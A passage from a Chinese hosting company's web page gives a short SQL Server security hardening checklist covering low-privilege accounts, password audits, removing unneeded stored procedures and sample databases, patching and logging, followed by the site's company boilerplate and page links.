a.确定你所使用的网络库是可用的,那么使用&network utility&
2.确定哪些帐户是存在的
a.为应用程序的使用创建一个低权限的帐户
b.删除不必要的帐户
c.确定所有帐户有强壮的密码;执行密码审计
3.确定哪些对象存在
a.许多扩展存储过程能被安全地移除。如果这样做了,应该移除包含在扩展存储过程代码中的.dll文件
b.移除所有示例数据库??例如northwind和pubs数据库
4.确定哪写帐户能过使用哪些对象
a.应用程序进入数据库所使用的帐户应该有保证能够使用它需要的对象的最小权限
5.确定服务器的补丁
a.针对sql server有一些缓冲区溢出和格式化字符串攻击,也有一些其他的安全补丁发布。应该存在很多。
6.确定什么应该被日志记录,什么应该在日志中结束。
以上内容由
搜集整理,如转载请注明原文出处,并保留这一部分内容。
  “华夏名网”
是成都飞数科技有限公司的网络服务品牌,专业经营虚拟主机,域名注册,VPS,服务器租用业务。公司创建于2002年,经过6年的高速发展,“华夏名网”已经成为我国一家知名的互联网服务提供商,被国外权威机构评价为十大IDC服务商之一。
华夏名网网址导航:
上一篇:下一篇:
(4915次点击) (2767次点击) (4157次点击) (2792次点击) (2365次点击) (3724次点击) (3565次点击) (2358次点击) (2528次点击) (2437次点击)
(3413次点击) (3231次点击) (3242次点击) (3988次点击) (2403次点击) (2318次点击) (3208次点击) (3615次点击) (2348次点击) (2331次点击)
&2002- 飞数科技 版权所有
电话总机:028-91 94
公司地址:四川省成都市青龙街51号倍特康派大厦10楼5号}

我要回帖

更多关于 sql2008安装教程 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信